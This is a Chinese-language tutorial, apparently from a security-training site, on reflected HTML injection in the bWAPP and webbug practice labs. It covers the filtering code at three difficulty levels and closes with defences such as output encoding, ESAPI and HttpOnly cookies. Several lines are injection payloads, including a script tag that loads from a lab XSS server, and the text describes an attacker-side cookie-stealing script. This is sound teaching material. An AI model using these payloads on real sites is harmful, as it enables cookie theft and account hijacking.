新手指南:Bwapp之HTML Injection-Reflected(GET)
走过路过,不要错过这个公众号哦!
0x00 简介
Bwapp是一个集成了各种常见的漏洞和最新漏洞的开源web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞。包含了超过100种漏洞,涵盖了所有主要的已知Web漏洞,包括OWASP Top10安全风险,最重要的是已经包含了OpenSSL和ShellShock漏洞
1
Injection-Reflected(GET)
网站某些页面通过不同的用户输入会有不同回显,由于某些网站未过滤某些代码符号,从而可以通过构造攻击语句,实现改变用户端的html语句,实现html Injection。
在正式实战之前,我们先看看bwapp给出的三种级别的的injection 代码。
0x01 代码审计
1:安全等级-low(未对字符做任何处理)
服务器端核心代码:
表单提交部分:
PHP显示代码为:
分析:
关键的语句:
echo "Welcome " . htmli($firstname) . " " . htmli($lastname);
可以看到low级别没有对字符进行任何处理,就echo 到了页面中
2:安全等级-medium
服务器端代码:
分析:
关键语句:
$input = str_replace("<", "<", $data);
$input = str_replace(">", ">", $input);
对特殊字符做了一些转义处理,将<和>转换为html实体,在一定程度上控制了用户的输入
$input=urlencode($input);
对于URL传递到后台,会对其中的有些字符进行url编码:
字符"a"-"z","A"-"Z","0"-"9",".","-","*",和"_" 都不会被编码;
将空格转换为加号 (+) ;
将非文本内容转换成"%xy"的形式,xy是两位16进制的数值;
在每个 name=value 对之间放置 & 符号。
3.安全等级:high
分析:
关键语句:
return htmlspecialchars($data, ENT_QUOTES,$encoding);
设置了:quotestyle 选项为ENT_QUOTES过滤单引号,(⊙o⊙)…
函数htmlspecialchars转换特殊字符成为html实体:
&(和号)成为&
“(双引号)成为"
‘(单引号)成为'
<(小于号)成为<
>(大于号)成为>
注意并非htmlspecialchars就万事大吉,不同的地方需要不同的转码。如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行注入。
有兴趣的可以看看这篇文章:https://www.zhihu.com/question/27646993
0x02 使用指南
1.low安全级别:
下面我们在表单中输入下面的字符串:
<a href=”http://www.heetian.com”>点击这里<a>
显示一个跳转到合天网站的点击这里链接。 编写一段获取浏览器cookie的代码等等,是不是就可以获取到你浏览器中的一些隐私信息呢?
是现在我们<a href="http:// www.heetian.com">进行urlencode,可以通过burp suite抓包直接得到编码后的数据:
%3ca+href%3dhttp%3a%2f%2fwww.heetian.com%22%3eclick+here%3c%2fa%3e
成功绕过
点击一下,跳转成功,看一下效果图
下面来找个具体例子来练练手(webbug靶场)打开虚拟机,开启phpstudy.打开webbug
在火狐地址栏中输入:http://192.168.1.101/pentest/test/9/?id=%3Ca%20href=%E2%80%9Dhttp%EF%BC%9A//www.heetian.com%E2%80%9D%3Eclick%20here%20%3C/a%3E
结果如下显示:
成功注入了 。。。。。。。。。。。
让我们再看看另一个留言版的漏洞结合xss(自己搭建的xss):
Ok,十分钟,搭好了phpstudy+xss,嘿嘿。。。。。
在留言处插入如下代码:
<sCRiPt/SrC=//192.168.1.103:81/useY>
Ok,我们留言成功,成功注入成功了,看一下效果图:
然后我们就会接收到cookie值,但是不知道为啥我一直没接收到,哎。。。。。,所以直接写了一个简单的盗取cookie 代码。
步骤如下:
用于抓取盗窃来的cookie的php文件,并且存在cookie.txt中,此文件需置于攻击者的服务器上,并命名为xss_cookie.php
当被攻击者的浏览器加载了被恶意注入的代码后,就会向攻击者的服务器发送自己的cookie,从而达到了盗取用户cookie的目的
看看效果,我的cookie里面好像没啥,但是如果开启了httponly,我们是无法读取cookie的
0x03 防御手段
1.在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码,需要对下面这6个特殊字符进行编码:
相应的转换代码:
看一下函数的效果图:
需要特别说明的是:
不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签
需要对斜杠号( / )编码,因为在进行html injection攻击时,斜杠号对于关闭当前HTML标签非常有用
推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:
2.在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码,看下面的代码:
可以看到,$value使用了htmlspecialchars进行了编码,htmlspecialchars会对&、’、”、<、>进行html编码,当输入<a href="http://www.baidu.com"> click here </a>时,系统不会弹框,因为特殊符号被html编码了。看看效果图:
3. 在将不可信数据插入到HTML URL里时,对这些数据进行URL编码当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)
在对URL进行编码的时候,有两点是需要特别注意的:
(1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码
(2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。
可以使用ESAPI提供的函数进行URL编码
ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:
0x04 总结
每个地方产生漏洞的原因又各有不同,所以对于html injecion 的防御来说,我们需要在正确的地方做正确的事情,即根据不可信数据将要被放置到的地方进行相应的编码,比如放到<div>标签之间的时候,需要进行HTML编码,放到<div>标签属性里的时候,需要进行HTML属性编码,等等。 对用户输入进行数据合法性验证,例如输入email的文本框只允许输入格式正确的email,输入手机号码的文本框只允许填入数字且格式需要正确。
这类合法性验证至少需要在服务器端进行以防止浏览器端验证被绕过,而为了提高用户体验和减轻服务器压力,最好也在浏览器端进行同样的验证。 为Cookie加上HttpOnly标记,这种攻击的目标就是窃取用户Cookie,这些Cookie里往往包含了用户身份认证信息(比如SessionId),一旦被盗,黑客就可以冒充用户身份盗取用户账号。
窃取Cookie一般都会依赖JavaScript读取Cookie信息,而HttpOnly标记则会告诉浏览器,被标记上的Cookie是不允许任何脚本读取或修改的,这样即使Web应用产生了漏洞,Cookie信息也能得到较好的保护,达到减轻损失的目的。 Web应用变得越来越复杂,也越来越容易产生各种漏洞而不仅限于html injection,xss漏洞,没有银弹可以一次性解决所有安全问题,我们只能处处留意,针对不同的安全漏洞进行针对性的防御。
别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
合天智汇
网址 : www.heetian.com
电话:4006-123-731
长按图片,据说只有颜值高的人才能识别哦→